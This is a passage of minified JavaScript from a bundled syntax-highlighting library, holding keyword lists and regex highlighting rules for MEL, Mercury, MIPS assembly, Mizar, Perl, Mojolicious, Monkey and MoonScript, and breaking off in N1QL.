addNewShelfTab addPP addPanelCategory addPrefixToName advanceToNextDrivenKey affectedNet affects aimConstraint air alias aliasAttr align alignCtx alignCurve alignSurface allViewFit ambientLight angle angleBetween animCone animCurveEditor animDisplay animView annotate appendStringArray applicationName applyAttrPreset applyTake arcLenDimContext arcLengthDimension arclen arrayMapper art3dPaintCtx artAttrCtx artAttrPaintVertexCtx artAttrSkinPaintCtx artAttrTool artBuildPaintMenu artFluidAttrCtx artPuttyCtx artSelectCtx artSetPaintCtx artUserPaintCtx assignCommand assignInputDevice assignViewportFactories attachCurve attachDeviceAttr attachSurface attrColorSliderGrp attrCompatibility attrControlGrp attrEnumOptionMenu attrEnumOptionMenuGrp attrFieldGrp attrFieldSliderGrp attrNavigationControlGrp attrPresetEditWin attributeExists attributeInfo attributeMenu attributeQuery autoKeyframe autoPlace bakeClip bakeFluidShading bakePartialHistory bakeResults bakeSimulation basename basenameEx batchRender bessel bevel bevelPlus binMembership bindSkin blend2 blendShape blendShapeEditor blendShapePanel blendTwoAttr blindDataType boneLattice boundary boxDollyCtx boxZoomCtx bufferCurve buildBookmarkMenu buildKeyframeMenu button buttonManip CBG cacheFile cacheFileCombine cacheFileMerge cacheFileTrack camera cameraView canCreateManip canvas capitalizeString catch catchQuiet ceil changeSubdivComponentDisplayLevel changeSubdivRegion channelBox character characterMap characterOutlineEditor characterize chdir checkBox checkBoxGrp checkDefaultRenderGlobals choice circle circularFillet clamp clear clearCache clip clipEditor clipEditorCurrentTimeCtx clipSchedule clipSchedulerOutliner clipTrimBefore closeCurve closeSurface cluster cmdFileOutput cmdScrollFieldExecuter cmdScrollFieldReporter cmdShell coarsenSubdivSelectionList collision color colorAtPoint colorEditor colorIndex colorIndexSliderGrp colorSliderButtonGrp colorSliderGrp columnLayout commandEcho commandLine commandPort compactHairSystem componentEditor compositingInterop computePolysetVolume condition cone confirmDialog connectAttr connectControl connectDynamic connectJoint connectionInfo constrain constrainValue constructionHistory container containsMultibyte contextInfo control convertFromOldLayers convertIffToPsd convertLightmap convertSolidTx convertTessellation convertUnit copyArray copyFlexor copyKey copySkinWeights cos cpButton cpCache cpClothSet cpCollision cpConstraint cpConvClothToMesh cpForces cpGetSolverAttr cpPanel cpProperty cpRigidCollisionFilter cpSeam cpSetEdit cpSetSolverAttr cpSolver cpSolverTypes cpTool cpUpdateClothUVs createDisplayLayer createDrawCtx createEditor createLayeredPsdFile createMotionField createNewShelf createNode createRenderLayer createSubdivRegion cross crossProduct ctxAbort ctxCompletion ctxEditMode ctxTraverse currentCtx currentTime currentTimeCtx currentUnit curve curveAddPtCtx curveCVCtx curveEPCtx curveEditorCtx curveIntersect curveMoveEPCtx curveOnSurface curveSketchCtx cutKey cycleCheck cylinder dagPose date defaultLightListCheckBox defaultNavigation defineDataServer defineVirtualDevice deformer deg_to_rad delete deleteAttr deleteShadingGroupsAndMaterials deleteShelfTab deleteUI deleteUnusedBrushes delrandstr detachCurve detachDeviceAttr detachSurface deviceEditor devicePanel dgInfo dgdirty dgeval dgtimer dimWhen directKeyCtx directionalLight dirmap dirname disable disconnectAttr disconnectJoint diskCache displacementToPoly displayAffected displayColor displayCull displayLevelOfDetail displayPref displayRGBColor displaySmoothness displayStats displayString displaySurface distanceDimContext distanceDimension doBlur dolly dollyCtx dopeSheetEditor dot dotProduct doubleProfileBirailSurface drag dragAttrContext draggerContext dropoffLocator duplicate duplicateCurve duplicateSurface dynCache dynControl dynExport dynExpression dynGlobals dynPaintEditor dynParticleCtx dynPref dynRelEdPanel dynRelEditor dynamicLoad editAttrLimits editDisplayLayerGlobals editDisplayLayerMembers editRenderLayerAdjustment editRenderLayerGlobals editRenderLayerMembers editor editorTemplate effector emit emitter enableDevice encodeString endString endsWith env equivalent equivalentTol erf error eval evalDeferred evalEcho event exactWorldBoundingBox exclusiveLightCheckBox exec executeForEachObject exists exp expression expressionEditorListen extendCurve extendSurface extrude fcheck fclose feof fflush fgetline fgetword file fileBrowserDialog fileDialog fileExtension fileInfo filetest filletCurve filter filterCurve filterExpand filterStudioImport findAllIntersections findAnimCurves findKeyframe findMenuItem findRelatedSkinCluster finder firstParentOf fitBspline flexor floatEq floatField floatFieldGrp floatScrollBar floatSlider floatSlider2 floatSliderButtonGrp floatSliderGrp floor flow fluidCacheInfo fluidEmitter fluidVoxelInfo flushUndo fmod fontDialog fopen formLayout format fprint frameLayout fread freeFormFillet frewind fromNativePath fwrite gamma gauss geometryConstraint getApplicationVersionAsFloat getAttr getClassification getDefaultBrush getFileList getFluidAttr getInputDeviceRange getMayaPanelTypes getModifiers getPanel getParticleAttr getPluginResource getenv getpid glRender glRenderEditor globalStitch gmatch goal gotoBindPose grabColor gradientControl gradientControlNoAttr graphDollyCtx graphSelectContext graphTrackCtx gravity grid gridLayout group groupObjectsByName HfAddAttractorToAS HfAssignAS HfBuildEqualMap HfBuildFurFiles HfBuildFurImages HfCancelAFR HfConnectASToHF HfCreateAttractor HfDeleteAS HfEditAS HfPerformCreateAS HfRemoveAttractorFromAS HfSelectAttached HfSelectAttractors HfUnAssignAS hardenPointCurve hardware hardwareRenderPanel headsUpDisplay headsUpMessage help helpLine hermite hide hilite hitTest hotBox hotkey hotkeyCheck hsv_to_rgb hudButton hudSlider hudSliderButton hwReflectionMap hwRender hwRenderLoad hyperGraph hyperPanel hyperShade hypot iconTextButton iconTextCheckBox iconTextRadioButton iconTextRadioCollection iconTextScrollList iconTextStaticLabel ikHandle ikHandleCtx ikHandleDisplayScale ikSolver ikSplineHandleCtx ikSystem ikSystemInfo ikfkDisplayMethod illustratorCurves image imfPlugins inheritTransform insertJoint insertJointCtx insertKeyCtx insertKnotCurve insertKnotSurface instance instanceable instancer intField intFieldGrp intScrollBar intSlider intSliderGrp interToUI internalVar intersect iprEngine isAnimCurve isConnected isDirty isParentOf isSameObject isTrue isValidObjectName isValidString isValidUiName isolateSelect itemFilter itemFilterAttr itemFilterRender itemFilterType joint jointCluster jointCtx jointDisplayScale jointLattice keyTangent keyframe keyframeOutliner keyframeRegionCurrentTimeCtx keyframeRegionDirectKeyCtx keyframeRegionDollyCtx keyframeRegionInsertKeyCtx keyframeRegionMoveKeyCtx keyframeRegionScaleKeyCtx keyframeRegionSelectKeyCtx keyframeRegionSetKeyCtx keyframeRegionTrackCtx keyframeStats lassoContext lattice latticeDeformKeyCtx launch launchImageEditor layerButton layeredShaderPort layeredTexturePort layout layoutDialog lightList lightListEditor lightListPanel lightlink lineIntersection linearPrecision linstep listAnimatable listAttr listCameras listConnections listDeviceAttachments listHistory listInputDeviceAxes listInputDeviceButtons listInputDevices listMenuAnnotation listNodeTypes listPanelCategories listRelatives listSets listTransforms listUnselected listerEditor loadFluid loadNewShelf loadPlugin loadPluginLanguageResources loadPrefObjects localizedPanelLabel lockNode loft log longNameOf lookThru ls lsThroughFilter lsType lsUI Mayatomr mag makeIdentity makeLive makePaintable makeRoll makeSingleSurface makeTubeOn makebot manipMoveContext manipMoveLimitsCtx manipOptions manipRotateContext manipRotateLimitsCtx manipScaleContext manipScaleLimitsCtx marker match max memory menu menuBarLayout menuEditor menuItem menuItemToShelf menuSet menuSetPref messageLine min minimizeApp mirrorJoint modelCurrentTimeCtx modelEditor modelPanel mouse movIn movOut move moveIKtoFK moveKeyCtx moveVertexAlongDirection multiProfileBirailSurface mute nParticle nameCommand nameField namespace namespaceInfo newPanelItems newton nodeCast nodeIconButton nodeOutliner nodePreset nodeType noise nonLinear normalConstraint normalize nurbsBoolean nurbsCopyUVSet nurbsCube nurbsEditUV nurbsPlane nurbsSelect nurbsSquare nurbsToPoly nurbsToPolygonsPref nurbsToSubdiv nurbsToSubdivPref nurbsUVSet nurbsViewDirectionVector objExists objectCenter objectLayer objectType objectTypeUI obsoleteProc oceanNurbsPreviewPlane offsetCurve offsetCurveOnSurface offsetSurface openGLExtension openMayaPref optionMenu optionMenuGrp optionVar orbit orbitCtx orientConstraint outlinerEditor outlinerPanel overrideModifier paintEffectsDisplay pairBlend palettePort paneLayout panel panelConfiguration panelHistory paramDimContext paramDimension paramLocator parent parentConstraint particle particleExists particleInstancer particleRenderInfo partition pasteKey pathAnimation pause pclose percent performanceOptions pfxstrokes pickWalk picture pixelMove planarSrf plane play playbackOptions playblast plugAttr plugNode pluginInfo pluginResourceUtil pointConstraint pointCurveConstraint pointLight pointMatrixMult pointOnCurve pointOnSurface pointPosition poleVectorConstraint polyAppend polyAppendFacetCtx polyAppendVertex polyAutoProjection polyAverageNormal polyAverageVertex polyBevel polyBlendColor polyBlindData polyBoolOp polyBridgeEdge polyCacheMonitor polyCheck polyChipOff polyClipboard polyCloseBorder polyCollapseEdge polyCollapseFacet polyColorBlindData polyColorDel polyColorPerVertex polyColorSet polyCompare polyCone polyCopyUV polyCrease polyCreaseCtx polyCreateFacet polyCreateFacetCtx polyCube polyCut polyCutCtx polyCylinder polyCylindricalProjection polyDelEdge polyDelFacet polyDelVertex polyDuplicateAndConnect polyDuplicateEdge polyEditUV polyEditUVShell polyEvaluate polyExtrudeEdge polyExtrudeFacet polyExtrudeVertex polyFlipEdge polyFlipUV polyForceUV polyGeoSampler polyHelix polyInfo polyInstallAction polyLayoutUV polyListComponentConversion polyMapCut polyMapDel polyMapSew polyMapSewMove polyMergeEdge polyMergeEdgeCtx polyMergeFacet polyMergeFacetCtx polyMergeUV polyMergeVertex polyMirrorFace polyMoveEdge polyMoveFacet polyMoveFacetUV polyMoveUV polyMoveVertex polyNormal polyNormalPerVertex polyNormalizeUV polyOptUvs polyOptions polyOutput polyPipe polyPlanarProjection polyPlane polyPlatonicSolid polyPoke polyPrimitive polyPrism polyProjection polyPyramid polyQuad polyQueryBlindData polyReduce polySelect polySelectConstraint polySelectConstraintMonitor polySelectCtx polySelectEditCtx polySeparate polySetToFaceNormal polySewEdge polyShortestPathCtx polySmooth polySoftEdge polySphere polySphericalProjection polySplit polySplitCtx polySplitEdge polySplitRing polySplitVertex polyStraightenUVBorder polySubdivideEdge polySubdivideFacet polyToSubdiv polyTorus polyTransfer polyTriangulate polyUVSet polyUnite polyWedgeFace popen popupMenu pose pow preloadRefEd print progressBar progressWindow projFileViewer projectCurve projectTangent projectionContext projectionManip promptDialog propModCtx propMove psdChannelOutliner psdEditTextureFile psdExport psdTextureFile putenv pwd python querySubdiv quit rad_to_deg radial radioButton radioButtonGrp radioCollection radioMenuItemCollection rampColorPort rand randomizeFollicles randstate rangeControl readTake rebuildCurve rebuildSurface recordAttr recordDevice redo reference referenceEdit referenceQuery refineSubdivSelectionList refresh refreshAE registerPluginResource rehash reloadImage removeJoint removeMultiInstance removePanelCategory rename renameAttr renameSelectionList renameUI render renderGlobalsNode renderInfo renderLayerButton renderLayerParent renderLayerPostProcess renderLayerUnparent renderManip renderPartition renderQualityNode renderSettings renderThumbnailUpdate renderWindowEditor renderWindowSelectContext renderer reorder reorderDeformers requires reroot resampleFluid resetAE resetPfxToPolyCamera resetTool resolutionNode retarget reverseCurve reverseSurface revolve rgb_to_hsv rigidBody rigidSolver roll rollCtx rootOf rot rotate rotationInterpolation roundConstantRadius rowColumnLayout rowLayout runTimeCommand runup sampleImage saveAllShelves saveAttrPreset saveFluid saveImage saveInitialState saveMenu savePrefObjects savePrefs saveShelf saveToolSettings scale scaleBrushBrightness scaleComponents scaleConstraint scaleKey scaleKeyCtx sceneEditor sceneUIReplacement scmh scriptCtx scriptEditorInfo scriptJob scriptNode scriptTable scriptToShelf scriptedPanel scriptedPanelType scrollField scrollLayout sculpt searchPathArray seed selLoadSettings select selectContext selectCurveCV selectKey selectKeyCtx selectKeyframeRegionCtx selectMode selectPref selectPriority selectType selectedNodes selectionConnection separator setAttr setAttrEnumResource setAttrMapping setAttrNiceNameResource setConstraintRestPosition setDefaultShadingGroup setDrivenKeyframe setDynamic setEditCtx setEditor setFluidAttr setFocus setInfinity setInputDeviceMapping setKeyCtx setKeyPath setKeyframe setKeyframeBlendshapeTargetWts setMenuMode setNodeNiceNameResource setNodeTypeFlag setParent setParticleAttr setPfxToPolyCamera setPluginResource setProject setStampDensity setStartupMessage setState setToolTo setUITemplate setXformManip sets shadingConnection shadingGeometryRelCtx shadingLightRelCtx shadingNetworkCompare shadingNode shapeCompare shelfButton shelfLayout shelfTabLayout shellField shortNameOf showHelp showHidden showManipCtx showSelectionInTitle showShadingGroupAttrEditor showWindow sign simplify sin singleProfileBirailSurface size sizeBytes skinCluster skinPercent smoothCurve smoothTangentSurface smoothstep snap2to2 snapKey snapMode snapTogetherCtx snapshot soft softMod softModCtx sort sound soundControl source spaceLocator sphere sphrand spotLight spotLightPreviewPort spreadSheetEditor spring sqrt squareSurface srtContext stackTrace startString startsWith stitchAndExplodeShell stitchSurface stitchSurfacePoints strcmp stringArrayCatenate stringArrayContains stringArrayCount stringArrayInsertAtIndex stringArrayIntersector stringArrayRemove stringArrayRemoveAtIndex stringArrayRemoveDuplicates stringArrayRemoveExact stringArrayToString stringToStringArray strip stripPrefixFromName stroke subdAutoProjection subdCleanTopology subdCollapse subdDuplicateAndConnect subdEditUV subdListComponentConversion subdMapCut subdMapSewMove subdMatchTopology subdMirror subdToBlind subdToPoly subdTransferUVsToCache subdiv subdivCrease subdivDisplaySmoothness substitute substituteAllString substituteGeometry substring surface surfaceSampler surfaceShaderList swatchDisplayPort switchTable symbolButton symbolCheckBox sysFile system tabLayout tan tangentConstraint texLatticeDeformContext texManipContext texMoveContext texMoveUVShellContext texRotateContext texScaleContext texSelectContext texSelectShortestPathCtx texSmudgeUVContext texWinToolCtx text textCurves textField textFieldButtonGrp textFieldGrp textManip textScrollList textToShelf textureDisplacePlane textureHairColor texturePlacementContext textureWindow threadCount threePointArcCtx timeControl timePort timerX toNativePath toggle toggleAxis toggleWindowVisibility tokenize tokenizeList tolerance tolower toolButton toolCollection toolDropped toolHasOptions toolPropertyWindow torus toupper trace track trackCtx transferAttributes transformCompare transformLimits translator trim trunc truncateFluidCache truncateHairCache tumble tumbleCtx turbulence twoPointArcCtx uiRes uiTemplate unassignInputDevice undo undoInfo ungroup uniform unit unloadPlugin untangleUV untitledFileName untrim upAxis updateAE userCtx uvLink uvSnapshot validateShelfName vectorize view2dToolCtx viewCamera viewClipPlane viewFit viewHeadOn viewLookAt viewManip viewPlace viewSet visor volumeAxis vortex waitCursor warning webBrowser webBrowserPrefs whatIs window windowPref wire wireContext workspace wrinkle wrinkleContext writeTake xbmLangPathList xform",illegal:"</",contains:[A.C_NUMBER_MODE,A.APOS_STRING_MODE,A.QUOTE_STRING_MODE,{className:"string",begin:"`",end:"`",contains:[A.BACKSLASH_ESCAPE]},{begin:/[$%@](\^\w\b|#\w+|[^\s\w{]|\{\w+\}|\w+)/},A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE]}}H08.exports=iVq});var X08=v((QCz,O08)=>{function nVq(A){let K={keyword:"module use_module import_module include_module end_module initialise mutable initialize finalize finalise interface implementation pred mode func type inst solver any_pred any_func is semidet det nondet multi erroneous failure cc_nondet cc_multi typeclass instance where pragma promise external trace atomic or_else require_complete_switch require_det require_semidet require_multi require_nondet require_cc_multi require_cc_nondet require_erroneous require_failure",meta:"inline no_inline type_spec source_file fact_table obsolete memo loop_check minimal_model terminates does_not_terminate check_termination promise_equivalent_clauses foreign_proc foreign_decl foreign_code foreign_type foreign_import_module foreign_export_enum foreign_export foreign_enum may_call_mercury will_not_call_mercury thread_safe not_thread_safe maybe_thread_safe promise_pure promise_semipure tabled_for_io local untrailed trailed attach_to_io_state can_pass_as_mercury_type stable will_not_throw_exception may_modify_trail will_not_modify_trail may_duplicate may_not_duplicate affects_liveness does_not_affect_liveness doesnt_affect_liveness no_sharing unknown_sharing sharing",built_in:"some all not if then else true fail false try catch catch_any semidet_true semidet_false semidet_fail impure_true impure semipure"},q=A.COMMENT("%","$"),Y={className:"number",begin:"0'.\\|0[box][0-9a-fA-F]*"},z=A.inherit(A.APOS_STRING_MODE,{relevance:0}),w=A.inherit(A.QUOTE_STRING_MODE,{relevance:0}),H={className:"subst",begin:"\\\\[abfnrtv]\\|\\\\x[0-9a-fA-F]*\\\\\\|%[-+# *.0-9]*[dioxXucsfeEgGp]",relevance:0};return w.contains=w.contains.slice(),w.contains.push(H),{name:"Mercury",aliases:["m","moo"],keywords:K,contains:[{className:"built_in",variants:[{begin:"<=>"},{begin:"<=",relevance:0},{begin:"=>",relevance:0},{begin:"/\\\\"},{begin:"\\\\/"}]},{className:"built_in",variants:[{begin:":-\\|-->"},{begin:"=",relevance:0}]},q,A.C_BLOCK_COMMENT_MODE,Y,A.NUMBER_MODE,z,w,{begin:/:-/},{begin:/\.$/}]}}O08.exports=nVq});var _08=v((UCz,$08)=>{function rVq(A){return{name:"MIPS Assembly",case_insensitive:!0,aliases:["mips"],keywords:{$pattern:"\\.?"+A.IDENT_RE,meta:".2byte .4byte .align .ascii .asciz .balign .byte .code .data .else .end .endif .endm .endr .equ .err .exitm .extern .global .hword .if .ifdef .ifndef .include .irp .long .macro .rept .req .section .set .skip .space .text .word .ltorg ",built_in:"$0 $1 $2 $3 $4 $5 $6 $7 $8 $9 $10 $11 $12 $13 $14 $15 $16 $17 $18 $19 $20 $21 $22 $23 $24 $25 $26 $27 $28 $29 $30 $31 zero at v0 v1 a0 a1 a2 a3 a4 a5 a6 a7 t0 t1 t2 t3 t4 t5 t6 t7 t8 t9 s0 s1 s2 s3 s4 s5 s6 s7 s8 k0 k1 gp sp fp ra $f0 $f1 $f2 $f2 $f4 $f5 $f6 $f7 $f8 $f9 $f10 $f11 $f12 $f13 $f14 $f15 $f16 $f17 $f18 $f19 $f20 $f21 $f22 $f23 $f24 $f25 $f26 $f27 $f28 $f29 $f30 $f31 Context Random EntryLo0 EntryLo1 Context PageMask Wired EntryHi HWREna BadVAddr Count Compare SR IntCtl SRSCtl SRSMap Cause EPC PRId EBase Config Config1 Config2 Config3 LLAddr Debug DEPC DESAVE CacheErr ECC ErrorEPC TagLo DataLo TagHi DataHi WatchLo WatchHi PerfCtl PerfCnt "},contains:[{className:"keyword",begin:"\\b(addi?u?|andi?|b(al)?|beql?|bgez(al)?l?|bgtzl?|blezl?|bltz(al)?l?|bnel?|cl[oz]|divu?|ext|ins|j(al)?|jalr(\\.hb)?|jr(\\.hb)?|lbu?|lhu?|ll|lui|lw[lr]?|maddu?|mfhi|mflo|movn|movz|move|msubu?|mthi|mtlo|mul|multu?|nop|nor|ori?|rotrv?|sb|sc|se[bh]|sh|sllv?|slti?u?|srav?|srlv?|subu?|sw[lr]?|xori?|wsbh|abs\\.[sd]|add\\.[sd]|alnv.ps|bc1[ft]l?|c\\.(s?f|un|u?eq|[ou]lt|[ou]le|ngle?|seq|l[et]|ng[et])\\.[sd]|(ceil|floor|round|trunc)\\.[lw]\\.[sd]|cfc1|cvt\\.d\\.[lsw]|cvt\\.l\\.[dsw]|cvt\\.ps\\.s|cvt\\.s\\.[dlw]|cvt\\.s\\.p[lu]|cvt\\.w\\.[dls]|div\\.[ds]|ldx?c1|luxc1|lwx?c1|madd\\.[sd]|mfc1|mov[fntz]?\\.[ds]|msub\\.[sd]|mth?c1|mul\\.[ds]|neg\\.[ds]|nmadd\\.[ds]|nmsub\\.[ds]|p[lu][lu]\\.ps|recip\\.fmt|r?sqrt\\.[ds]|sdx?c1|sub\\.[ds]|suxc1|swx?c1|break|cache|d?eret|[de]i|ehb|mfc0|mtc0|pause|prefx?|rdhwr|rdpgpr|sdbbp|ssnop|synci?|syscall|teqi?|tgei?u?|tlb(p|r|w[ir])|tlti?u?|tnei?|wait|wrpgpr)",end:"\\s"},A.COMMENT("[;#](?!\\s*$)","$"),A.C_BLOCK_COMMENT_MODE,A.QUOTE_STRING_MODE,{className:"string",begin:"'",end:"[^\\\\]'",relevance:0},{className:"title",begin:"\\|",end:"\\|",illegal:"\\n",relevance:0},{className:"number",variants:[{begin:"0x[0-9a-f]+"},{begin:"\\b-?\\d+"}],relevance:0},{className:"symbol",variants:[{begin:"^\\s*[a-z_\\.\\$][a-z0-9_\\.\\$]+:"},{begin:"^\\s*[0-9]+:"},{begin:"[0-9]+[bf]"}],relevance:0}],illegal:/\//}}$08.exports=rVq});var Z08=v((pCz,G08)=>{function oVq(A){return{name:"Mizar",keywords:"environ vocabularies notations constructors definitions registrations theorems schemes requirements begin end definition registration cluster existence pred func defpred deffunc theorem proof let take assume then thus hence ex for st holds consider reconsider such that and in provided of as from be being by means equals implies iff redefine define now not or attr is mode suppose per cases set thesis contradiction scheme reserve struct correctness compatibility coherence symmetry assymetry reflexivity irreflexivity connectedness uniqueness commutativity idempotence involutiveness projectivity",contains:[A.COMMENT("::","$")]}}G08.exports=oVq});var M08=v((dCz,j08)=>{function D08(A){if(!A)return null;if(typeof A==="string")return A;return A.source}function lwA(...A){return A.map((q)=>D08(q)).join("")}function W08(...A){return"("+A.map((q)=>D08(q)).join("|")+")"}function aVq(A){let K=["abs","accept","alarm","and","atan2","bind","binmode","bless","break","caller","chdir","chmod","chomp","chop","chown","chr","chroot","close","closedir","connect","continue","cos","crypt","dbmclose","dbmopen","defined","delete","die","do","dump","each","else","elsif","endgrent","endhostent","endnetent","endprotoent","endpwent","endservent","eof","eval","exec","exists","exit","exp","fcntl","fileno","flock","for","foreach","fork","format","formline","getc","getgrent","getgrgid","getgrnam","gethostbyaddr","gethostbyname","gethostent","getlogin","getnetbyaddr","getnetbyname","getnetent","getpeername","getpgrp","getpriority","getprotobyname","getprotobynumber","getprotoent","getpwent","getpwnam","getpwuid","getservbyname","getservbyport","getservent","getsockname","getsockopt","given","glob","gmtime","goto","grep","gt","hex","if","index","int","ioctl","join","keys","kill","last","lc","lcfirst","length","link","listen","local","localtime","log","lstat","lt","ma","map","mkdir","msgctl","msgget","msgrcv","msgsnd","my","ne","next","no","not","oct","open","opendir","or","ord","our","pack","package","pipe","pop","pos","print","printf","prototype","push","q|0","qq","quotemeta","qw","qx","rand","read","readdir","readline","readlink","readpipe","recv","redo","ref","rename","require","reset","return","reverse","rewinddir","rindex","rmdir","say","scalar","seek","seekdir","select","semctl","semget","semop","send","setgrent","sethostent","setnetent","setpgrp","setpriority","setprotoent","setpwent","setservent","setsockopt","shift","shmctl","shmget","shmread","shmwrite","shutdown","sin","sleep","socket","socketpair","sort","splice","split","sprintf","sqrt","srand","stat","state","study","sub","substr","symlink","syscall","sysopen","sysread","sysseek","system","syswrite","tell","telldir","tie","tied","time","times","tr","truncate","uc","ucfirst","umask","undef","unless","unlink","unpack","unshift","untie","until","use","utime","values","vec","wait","waitpid","wantarray","warn","when","while","write","x|0","xor","y|0"],q=/[dualxmsipngr]{0,12}/,Y={$pattern:/[\w.]+/,keyword:K.join(" ")},z={className:"subst",begin:"[$@]\\{",end:"\\}",keywords:Y},w={begin:/->\{/,end:/\}/},H={variants:[{begin:/\$\d/},{begin:lwA(/[$%@](\^\w\b|#\w+(::\w+)*|\{\w+\}|\w+(::\w*)*)/,"(?![A-Za-z])(?![@$%])")},{begin:/[$%@][^\s\w{]/,relevance:0}]},J=[A.BACKSLASH_ESCAPE,z,H],O=[/!/,/\//,/\|/,/\?/,/'/,/"/,/#/],X=(G,Z,W="\\1")=>{let D=W==="\\1"?W:lwA(W,Z);return lwA(lwA("(?:",G,")"),Z,/(?:\\.|[^\\\/])*?/,D,/(?:\\.|[^\\\/])*?/,W,q)},$=(G,Z,W)=>{return lwA(lwA("(?:",G,")"),Z,/(?:\\.|[^\\\/])*?/,W,q)},_=[H,A.HASH_COMMENT_MODE,A.COMMENT(/^=\w/,/=cut/,{endsWithParent:!0}),w,{className:"string",contains:J,variants:[{begin:"q[qwxr]?\\s*\\(",end:"\\)",relevance:5},{begin:"q[qwxr]?\\s*\\[",end:"\\]",relevance:5},{begin:"q[qwxr]?\\s*\\{",end:"\\}",relevance:5},{begin:"q[qwxr]?\\s*\\|",end:"\\|",relevance:5},{begin:"q[qwxr]?\\s*<",end:">",relevance:5},{begin:"qw\\s+q",end:"q",relevance:5},{begin:"'",end:"'",contains:[A.BACKSLASH_ESCAPE]},{begin:'"',end:'"'},{begin:"`",end:"`",contains:[A.BACKSLASH_ESCAPE]},{begin:/\{\w+\}/,relevance:0},{begin:"-?\\w+\\s*=>",relevance:0}]},{className:"number",begin:"(\\b0[0-7_]+)|(\\b0x[0-9a-fA-F_]+)|(\\b[1-9][0-9_]*(\\.[0-9_]+)?)|[0_]\\b",relevance:0},{begin:"(\\/\\/|"+A.RE_STARTERS_RE+"|\\b(split|return|print|reverse|grep)\\b)\\s*",keywords:"split return print reverse grep",relevance:0,contains:[A.HASH_COMMENT_MODE,{className:"regexp",variants:[{begin:X("s|tr|y",W08(...O))},{begin:X("s|tr|y","\\(","\\)")},{begin:X("s|tr|y","\\[","\\]")},{begin:X("s|tr|y","\\{","\\}")}],relevance:2},{className:"regexp",variants:[{begin:/(m|qr)\/\//,relevance:0},{begin:$("(?:m|qr)?",/\//,/\//)},{begin:$("m|qr",W08(...O),/\1/)},{begin:$("m|qr",/\(/,/\)/)},{begin:$("m|qr",/\[/,/\]/)},{begin:$("m|qr",/\{/,/\}/)}]}]},{className:"function",beginKeywords:"sub",end:"(\\s*\\(.*?\\))?[;{]",excludeEnd:!0,relevance:5,contains:[A.TITLE_MODE]},{begin:"-\\w\\b",relevance:0},{begin:"^__DATA__$",end:"^__END__$",subLanguage:"mojolicious",contains:[{begin:"^@@.*",end:"$",className:"comment"}]}];return z.contains=_,w.contains=_,{name:"Perl",aliases:["pl","pm"],keywords:Y,contains:_}}j08.exports=aVq});var V08=v((cCz,P08)=>{function sVq(A){return{name:"Mojolicious",subLanguage:"xml",contains:[{className:"meta",begin:"^__(END|DATA)__$"},{begin:"^\\s*%{1,2}={0,2}",end:"$",subLanguage:"perl"},{begin:"<%{1,2}={0,2}",end:"={0,1}%>",subLanguage:"perl",excludeBegin:!0,excludeEnd:!0}]}}P08.exports=sVq});var N08=v((lCz,f08)=>{function tVq(A){let K={className:"number",relevance:0,variants:[{begin:"[$][a-fA-F0-9]+"},A.NUMBER_MODE]};return{name:"Monkey",case_insensitive:!0,keywords:{keyword:"public private property continue exit extern new try catch eachin not abstract final select case default const local global field end if then else elseif endif while wend repeat until forever for to step next return module inline throw import",built_in:"DebugLog DebugStop Error Print ACos ACosr ASin ASinr ATan ATan2 ATan2r ATanr Abs Abs Ceil Clamp Clamp Cos Cosr Exp Floor Log Max Max Min Min Pow Sgn Sgn Sin Sinr Sqrt Tan Tanr Seed PI HALFPI TWOPI",literal:"true false null and or shl shr mod"},illegal:/\/\*/,contains:[A.COMMENT("#rem","#end"),A.COMMENT("'","$",{relevance:0}),{className:"function",beginKeywords:"function method",end:"[(=:]|$",illegal:/\n/,contains:[A.UNDERSCORE_TITLE_MODE]},{className:"class",beginKeywords:"class interface",end:"$",contains:[{beginKeywords:"extends implements"},A.UNDERSCORE_TITLE_MODE]},{className:"built_in",begin:"\\b(self|super)\\b"},{className:"meta",begin:"\\s*#",end:"$",keywords:{"meta-keyword":"if else elseif endif end then"}},{className:"meta",begin:"^\\s*strict\\b"},{beginKeywords:"alias",end:"=",contains:[A.UNDERSCORE_TITLE_MODE]},A.QUOTE_STRING_MODE,K]}}f08.exports=tVq});var v08=v((iCz,T08)=>{function eVq(A){let K={keyword:"if then not for in while do return else elseif break continue switch and or unless when class extends super local import export from using",literal:"true false nil",built_in:"_G _VERSION assert collectgarbage dofile error getfenv getmetatable ipairs load loadfile loadstring module next pairs pcall print rawequal rawget rawset require select setfenv setmetatable tonumber tostring type unpack xpcall coroutine debug io math os package string table"},q="[A-Za-z$_][0-9A-Za-z$_]*",Y={className:"subst",begin:/#\{/,end:/\}/,keywords:K},z=[A.inherit(A.C_NUMBER_MODE,{starts:{end:"(\\s*/)?",relevance:0}}),{className:"string",variants:[{begin:/'/,end:/'/,contains:[A.BACKSLASH_ESCAPE]},{begin:/"/,end:/"/,contains:[A.BACKSLASH_ESCAPE,Y]}]},{className:"built_in",begin:"@__"+A.IDENT_RE},{begin:"@"+A.IDENT_RE},{begin:A.IDENT_RE+"\\\\"+A.IDENT_RE}];Y.contains=z;let w=A.inherit(A.TITLE_MODE,{begin:"[A-Za-z$_][0-9A-Za-z$_]*"}),H="(\\(.*\\)\\s*)?\\B[-=]>",J={className:"params",begin:"\\([^\\(]",returnBegin:!0,contains:[{begin:/\(/,end:/\)/,keywords:K,contains:["self"].concat(z)}]};return{name:"MoonScript",aliases:["moon"],keywords:K,illegal:/\/\*/,contains:z.concat([A.COMMENT("--","$"),{className:"function",begin:"^\\s*[A-Za-z$_][0-9A-Za-z$_]*\\s*=\\s*"+H,end:"[-=]>",returnBegin:!0,contains:[w,J]},{begin:/[\(,:=]\s*/,relevance:0,contains:[{className:"function",begin:H,end:"[-=]>",returnBegin:!0,contains:[J]}]},{className:"class",beginKeywords:"class",end:"$",illegal:/[:="\[\]]/,contains:[{beginKeywords:"extends",endsWithParent:!0,illegal:/[:="\[\]]/,contains:[w]},w]},{className:"name",begin:"[A-Za-z$_][0-9A-Za-z$_]*:",end:":",returnBegin:!0,returnEnd:!0,relevance:0}])}}T08.exports=eVq});var k08=v((nCz,E08)=>{function Afq(A){return{name:"N1QL",case_insensitive:!0,contains:[{beginKeywords:"build create index delete drop explain infer|10 insert merge prepare select update upsert|10",end:/;/,endsWithParent:!0,keywords:{keyword:"all alter analyze and any array as asc begin between binary boolean break bucket build by call case cast cluster collate collection commit connect continue correlate cover create database dataset datastore declare decrement delete derived desc describe distinct do drop each element else end every except exclude execute exists explain fetch first flatten for force from function grant group gsi having if ignore ilike in include increment index infer inline inner insert intersect into is join key keys keyspace known last left let letting like limit lsm map mapping matched materialized merge minus namespace nest not number object offset on option or order outer over parse partition password path pool prepare primary private privilege procedure public raw realm reduce rename 